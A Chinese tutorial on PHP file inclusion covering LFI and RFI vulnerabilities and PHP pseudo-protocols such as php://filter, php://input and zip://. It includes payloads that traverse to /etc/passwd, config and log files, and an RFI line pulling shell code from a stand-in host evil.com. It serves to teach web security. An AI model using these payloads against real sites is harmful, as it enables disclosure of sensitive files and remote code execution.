PHP 文件包含以及PHP伪协议

一、文件包含的作用

1. 代码复用和模块化

复制代码
// 传统方式:每个页面都要写相同代码
// page1.php
echo "<header>网站标题</header>";
echo "<nav>导航菜单</nav>";
// ...页面内容...
​
// page2.php  
echo "<header>网站标题</header>";
echo "<nav>导航菜单</nav>";
// ...另一个页面内容...
​
// 使用包含:提取公共部分
// header.php
echo "<header>网站标题</header>";
echo "<nav>导航菜单</nav>";
​
// page1.php
include 'header.php';
// ...页面1特有内容...
​
// page2.php
include 'header.php';  
// ...页面2特有内容...

2. 配置文件管理

复制代码
// config.php
<?php
$db_host = 'localhost';
$db_user = 'root';
$db_pass = 'password';
$db_name = 'myapp';
?>
​
// 所有需要数据库连接的页面
require 'config.php';
$conn = mysqli_connect($db_host, $db_user, $db_pass, $db_name);

3. 动态内容加载

复制代码
// 根据用户选择加载不同模块
$page = $_GET['page'] ?? 'home';
​
switch($page) {
    case 'about':
        include 'pages/about.php';
        break;
    case 'contact':
        include 'pages/contact.php';
        break;
    default:
        include 'pages/home.php';
}

二、文件包含漏洞

漏洞产生原因

当包含的文件路径可以被用户控制时,就可能产生漏洞。

漏洞产生条件

复制代码
// 危险代码示例
$page = $_GET['page'];  // 用户可控输入
include($page . '.php'); // 直接包含用户输入

漏洞类型

1. 本地文件包含(LFI - Local File Inclusion)

攻击者读取服务器上的敏感文件:

复制代码
// 假设有这样的代码
include($_GET['file']);
​
// 攻击者可以:
// 查看系统文件
?file=../../../etc/passwd
​
// 查看网站源码
?file=../../config.php
​
// 查看日志文件(可能包含攻击代码)
?file=../../../var/log/apache2/access.log
2. 远程文件包含(RFI - Remote File Inclusion)

攻击者包含远程服务器上的恶意文件:

复制代码
// 需要 allow_url_include=On(默认关闭)
include($_GET['file']);
​
// 攻击者可以:
?file=http://evil.com/shell.txt
// 这样就会执行攻击者服务器上的PHP代码

PHP 伪协议使用总结

常用伪协议类型

  • file://

  • php://filter

  • php://input

  • zip://


一、file://协议

PHP配置要求

  • 允许状态 :在 allow_url_fopenallow_url_include 均为 OFF 时仍可正常使用

  • 作用:主要用于文件读取操作

示例
复制代码
file:///etc/passwd
file://C:/Windows/system.ini

二、php://协议

1. php://filter

配置要求
  • 允许状态:在双off的情况下也可以正常使用
参数说明

四个主要参数:

  1. resource - 指定要筛选过滤的数据流(必需)

  2. read - 读数据时的筛选过滤器

  3. write - 写数据时的筛选过滤器

  4. <, > - 数据流方向控制

使用示例

读取文件并base64编码

复制代码
php://filter/read=convert.base64-encode/resource=test.txt

写入时转换大小写

复制代码
php://filter/write=string.toupper/resource=666.txt

注:write参数需要配合 fopen($file, 'w') 写入模式使用

参数特性总结
  • read参数 :用于读取时处理 → 使用 file_get_contents() 测试

  • write参数 :用于写入时处理 → 需要 fopen($file, 'w') 模式测试


2. php://input

配置要求
  • allow_url_fopen:OFF/ON 均可

  • allow_url_include:必须为 ON

功能特性
  • 访问请求原始数据的只读流

  • 将POST请求中的数据作为PHP代码执行


三、压缩协议类

配置要求

  • 允许状态:在双off的情况下也可以正常使用

1. zip://协议

格式
复制代码
zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
示例
复制代码
zip://test.zip#test.txt
zip://C:/test.zip#dir/test.txt

2. bzip2://协议

格式
复制代码
compress.bzip2://文件路径
示例
复制代码
# 读取压缩文件
compress.bzip2://test.bz2

# 绝对路径
compress.bzip2://D:/test.bz2

# 相对路径  
compress.bzip2://./test.bz2

3. zlib://协议

格式
复制代码
compress.zlib://文件路径
示例
复制代码
# 读取.gz文件
compress.zlib://test.gz

# 绝对路径
compress.zlib://D:/test.gz

# 网络文件解压读取
compress.zlib://http://example.com/data.gz

四、使用注意事项

  1. 路径格式:压缩协议中的文件路径需使用绝对路径

  2. 特殊字符# 在URL中需要编码为 %23

  3. 权限限制:各协议受不同PHP配置项影响

  4. 安全风险:这些协议常被用于文件包含漏洞利用,生产环境应严格限制使用

相关推荐
安全小白wula30 分钟前
RCE远程代码/命令执行基础讲解
网络·网络安全·渗透测试·rce·web渗透
Whoami!4 小时前
01-【医院】双网隔离架构方案
网络安全·拓扑图·信息安全架构
WangX-西石油4 小时前
DVWA靶场Low级别Brute Force学习
学习·web安全·网络安全
quan_泉5 小时前
DIDCTF 2024平航杯-流量分析
网络安全
安当加密5 小时前
Cisco SD-WAN CVSS 10分零日在野利用:网络边界设备认证失效的完整复盘
网络安全·pam·radius·多因素认证·漏洞复盘
大方子6 小时前
【PolarCTF】投喂
网络安全·polarctf
安当加密03016 小时前
等保2.0三级数据库加密:2026检查清单 + TDE部署实战(附脚本)
数据库·网络安全·数据安全·tde·等保2.0·数据库加密·tde透明加密
世界尽头与你7 小时前
Spring Boot Watcher 未授权访问漏洞
spring boot·安全·网络安全·渗透测试
X7x519 小时前
安全信息和事件管理(SIEM):企业安全运营的技术基石
网络安全·网络攻击模型·安全威胁分析·安全架构·siem
宋浮檀s20 小时前
应急响应——Web漏洞:命令执行+SSRF+弱口令
运维·数据库·sql·网络安全·oracle·应急响应